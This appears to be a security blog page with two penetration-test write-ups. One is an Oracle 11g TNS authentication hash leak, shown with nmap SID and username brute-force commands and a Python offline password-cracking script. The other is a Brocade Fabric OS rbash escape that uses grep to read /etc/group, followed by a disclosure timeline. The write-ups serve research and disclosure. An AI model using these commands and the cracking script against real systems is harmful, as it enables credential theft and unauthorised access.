2 results found with an empty search
- Oracle Database remote “stealth password brute-force”
During an internal penetration test we discovered an Oracle database of version 11g Release 2 in the client’s network. This outdated software of this database is vulnerable to an information leak during the authentication procedure. This flaw allows an attacker to steal a hash that’s signed with the client’s credentials that is being used to authenticate the client. An attacker that attempts to connect with a potential client’s username can steal this hash and perform an offline dictionary attack, also known as “stealth password brute force” attack. Like every information leak vulnerability, it is a very interesting attack because it’s a fundamental flaw in the logical thinking of the developer. Plus, we love cracking passwords. That made us look more into it and understand how this works in the background below the high-level description given by Hacktricks , the initial place where we found this type of attack. Oracle Database and Communication Protocol First we have to understand how the Oracle DB is structured. The architecture of the Oracle DB is consisted of: The client the database server, which contains the TNS listener the database instance and the database’s files and the actual data https://www.oracletutorial.com/oracle-administration/oracle-database-architecture/ The TNS listener is the component responsible for communicating with the crucial parts of the database server, i.e. the database instance and the database itself. It uses the TNS protocol to communicate with the client and receive commands and requests such as authenticating, fingerprinting, SID discovery etc. (more about this later!). TNS Protocol The TNS protocol is a proprietary protocol owned by Oracle. It’s build on top of TCP/IP and other technologies such as SDP, IPX/SPX, IPC etc. In the context of Oracle databases, TNS is used over the TCP/IP protocol. A fair bit of the protocol has been reversed engineered, giving us more insight of it’s function . Just as explained in this article , the TNS packet is consisted of a header and the payload: 0 8 16 31 +--------------+--------------+ | Packet Length| Packet Chksm | +------+-------+--------------+ 8 byte header | Type | Rsrvd | Header Chksm | +------+-------+--------------+ | P A Y L O A D | +-----------------------------+ For the purpose of our article, the important part of a packet is its type and, of course, the payload. The packet type declares the purpose of the packet, i.e. whether the packet’s purpose is to transfer data, to refuse or accept a connection, to demand a resend of the last packet received etc. The packet types are: Connect Accept ACK Refuse Redirect Data NULL - ABORT - Resend Marker Attention Control Packet type 6 is indicating the transfer of data, which is contained in the payload section. Packets of type 6 have a data flag, that indicates the type of data packet sent. The structure of the data flag is as follows: Data Flag: 0x0000 .... .... .... ...x = Send Token .... .... .... ..x. = Request Confirmation .... .... .... .x.. = Confirmation .... .... .... x... = Reserved .... .... ..x. .... = More Data to Come .... .... .x.. .... = End of File .... .... x... .... = Do Immediate Confirmation .... ...x .... .... = Request To Send .... ..x. .... .... = Send NT Trailer Data flag’s default value for data transfer is 0x0000. The flag 0x0001 indicates sending a token, 0x0002 a request confirmation etc. An important flag is 0x0040 which indicates the end of file, i.e. end of data transferring. Authentication Protocol and Information Leak As already mentioned, the authentication procedure uses the TNS protocol for communication between the client and the server. The authentication is being carried out in the following steps: The client sends the username after having established a connection with the database through the TNS listener The server creates a session for the client, encrypts it with AES-192 by using the SHA-1 hash of the username’s password and the salt as the key. The pair of the encrypted session and the salt, namely AUTH_SESSKEY and AUTH_VFR_DATA, are being sent to the client. Given that the client is legitimate and has knowledge over the password, they decrypt the session with the hash of the password and the salt as the key. With this session, the client creates a public key, which is being used for the communication. The Problem The problem lies to the way the TNS protocol handles the authentication. The session ID that the server sends the client is 48 bytes long. Out of those 48 bytes, the the first 40 are random bytes and the last 8 are 0x08 bytes. Having the last 8 0x08 bytes as an identifier of a valid AUTH_SESSKEY an attacker can perform an offline dictionary attack against it, which will be much faster than launching a dictionary attack against the login process of the database. Attacking Prerequisites of this attack are: A valid username of the database The SID of the target database Where SID stands for System ID and it is the identifier of a database (basically its name). The path we used for extracting the encrypted passwords from our client’s database was: Fingerprint the version of the Oracle database and determine whether it is vulnerable or not Enumerate the available databases through SID bruteforcing Attempt to extract users’ encrypted passwords from the found SIDs through username bruteforcing Crack the obtained encrypted passwords offline through a PoC script Thankfully, nmap has some very helpful scripts and wordlists to assist us in the first 3 steps of the attack path. Version Discovery In version discovery (or fingerprinting) the client engages in a TNS conversation with the server, in which the client starts with a specific query and basically “asks” for the TNS version. Command: nmap -sV -p 1521 Client → Server: (CONNECT_DATA=(COMMAND=version)) Server → Client (DESCRIPTION=(TMP=)(VSNNUM=185599744)(ERR=0)) Server → Client TNSLSNR for 64-bit Windows: Version 11.1.0.7.0 - Production TNS for 64-bit Windows: Version 11.1.0.7.0 - Production Oracle Bequeath NT Protocol Adapter for 64-bit Windows: Version 11.1.0.7.0 - Production Windows NT Named Pipes NT Protocol Adapter for 64-bit Windows: Version 11.1.0.7.0 - Production Windows NT TCP/IP NT Protocol Adapter for 64-bit Windows: Version 11.1.0.7.0 - Production,, Server → Client [A data packet with the data flag 0x0040 End Of File, i.e. no more data are to be sent] The server provides the client the version, which is version 11.1.0.7.0. This version is vulnerable to the the attack. SID Bruteforcing After determining that the target’s TNS version is vulnerable, we proceed with finding the SIDs of the existing databases. There are some default ones such as XE and ORCL but the custom ones should be more “juicy”, as it’s more probable to include custom accounts. During the bruteforcing, the attacker loops over different SID names and attempts to connect to them: If the SID does not exist, the server returns a packet with ID 4, i.e. Refuse. If, however, the SID exists, the server returns a packet with ID 11, i.e. Resend. Command: nmap -p 1521 --script oracle-sid-brute.nse [--script-args=oraclesids=/path/to/sidfile] Client → Server: Attempting to connect to a database with the query (DESCRIPTION=(CONNECT_DATA=(SID=ORCL)(CID=(PROGRAM=)(HOST=__jdbc__)(USER=)))(ADDRESS=(PROTOCOL=tcp)(HOST=IP)(PORT=1521))) Server → Client: If the SID does not exist: (DESCRIPTION=(TMP=)(VSNNUM=185599744)(ERR=12505)(ERROR_STACK=(ERROR=(CODE=12505)(EMFI=4)))) If the SID exists: sends a packet without a payload and with a packet ID 11, i.e. Resend Encrypted Passwords Extraction With a valid SID we can start attempting to authenticate against the database with possible usernames, either using the nmap wordlist or with our own one. As explained previously, we do not need to provide a password, as the authentication protocol will provide us the encrypted passwords signed with the hash of our user’s password and salt, which we can later crack offline. Command: nmap -p 1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid= Client → Server: Try and connect to the database with SID XE with the query (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=IP)(PORT=1521)) (CONNECT_DATA=(SERVER=DEDICATED)(SERVICE_NAME=XE)(CID= (PROGRAM=sqlplus)(HOST=IP)(USER=nmap)))) Server → Client: Sends a packet without a payload and with a packet ID 11, i.e. Resend Client → Server: Same as Step 1 Server → Client: Sends a packet without a payload and with a packet ID 2, i.e. Accept Client → Server: The client sends a series of data packet requests to negotiate connection features such as Secure Network Services, Set Protocol, and Set Datatypes Server → Client: The server responds to these requests Client → Server: The client sends a data packet and requests to authenticate as the user HR with the query (decoded from HEX to ASCII) HR AUTH_TERMINALpts/66AUTH_PROGRAM_NMsqlplus@nmap_6686 (TNS V1-V3)AUTH_MACHINEnmap_targetAUTH_PID9706AUTH_SID nmap_11925 Server → Client: If the account doesn’t exist, the server responds with a data packet that includes a smaller encrypted string and the default salt 00000000390900001a000000 If the account exists, the server responds with a data packet including the encrypted password and the correct salt Observing the last two steps with Wireshark: In the end the nmap output will look like this: Password Cracking There is a PoC script written in Python 2 for cracking those passwords. The script basically attempts to decrypt the provided string with the SHA-1 hash of the candidate password and the salt provided by the server. Since it is 2023, we rewrote the script in Python 3 import hashlib from Crypto.Cipher import AES import binascii def decrypt(session,salt,password): pass_hash = hashlib.sha1(password.encode() + salt) key = pass_hash.digest() + b'\x00\x00\x00\x00' decryptor = AES.new(key,AES.MODE_CBC) plain = decryptor.decrypt(session) return plain session_hex = '' # AUTH_SESSKEY salt_hex = '' # AUTH_VFR_DATA passwords = ['test','password', 'passw0rd', 'CHANGE_ON_INSTALL', 'oracle','demo'] for password in passwords: session_id = decrypt(binascii.unhexlify(session_hex),binascii.unhexlify(salt_hex),password) print('Decrypted session_id for password "%s" is %s' % (password,binascii.hexlify(session_id))) if session_id[40:] == b'\x08\x08\x08\x08\x08\x08\x08\x08': print('PASSWORD IS "%s"' % password) break
- Brocade Fabric OS < 9.1.1 rbash escape to read system files
Broadcom offers a number of products and networking solutions such as switches, extensions etc. These products come with their own operating system, i.e. the Fabric OS. It is a lightweight OS that upon logging in through ssh or telnet one is found within the restricted environment of rbash . The user is not able to execute any of the known system commands, such as ls , echo , cd , cat , etc but only some available custom commands the developers have made themselves e.g. ... iflshow Display edge switch FCR connection information interfaceshow Display the FSPF (TM) interface information iodset Manage the in-order delivery (IOD) option iodshow Display the state of the in-order delivery option ipaddrset Set ethernet and FC IP addresses ipaddrshow Print ethernet and FC IP addresses islshow Display the current connections and status ... One of the available commands is the classic system command grep . The system also allows pipelines | , which explains the reason for them to allow the use of grep HOSTNAME:user> ipaddrshow SWITCH Ethernet IP Address: 10.115.76.184 Ethernet Subnetmask: 255.255.254.0 Gateway IP Address: 10.115.76.251 DHCP: Off HOSTNAME:user> ipaddrshow |grep Gateway Gateway IP Address: 10.115.76.251 HOSTNAME:user> By leaving grep available one can read underlying system files by searching for the empty pattern '' . The files one has access to depend on the authenticated user's privileges. HOSTNAME:user> cat /etc/group rbash: cat: command not found HOSTNAME:user> ls /etc/group rbash: ls: command not found HOSTNAME:user> grep '' /etc/group root::0:root sys::3:root,bin smmsp::25:smmsp nobody::99: users::100: utmp:x:102: admin::600:admin,root user::602:user,admin,root switchadmin::604: operator::605: zoneadmin::606: fabricadmin::607: basicswitchadmin::608: securityadmin::609: udrole::550: HOSTNAME:user> The issue was discovered during a penetration test with Bitcrack’s red team and reported to Broadcom's PSIRT. Broadcom's internal security audit had already discovered it earlier and had scheduled a fix for all Brocade Fabric OS 9.1.1 and upper releases before we notified them. Timeline Reported to Broadcom's PSIRT: 26/9/2022 First response and redirecting us to Brocade SIRT: 26/9/2022 Second response letting us know of the found issue: 5/10/2022 Clarifications and ask for permission to post on our blog: 10/10/2022 No response from Broadcom, release of the article: 29/11/2022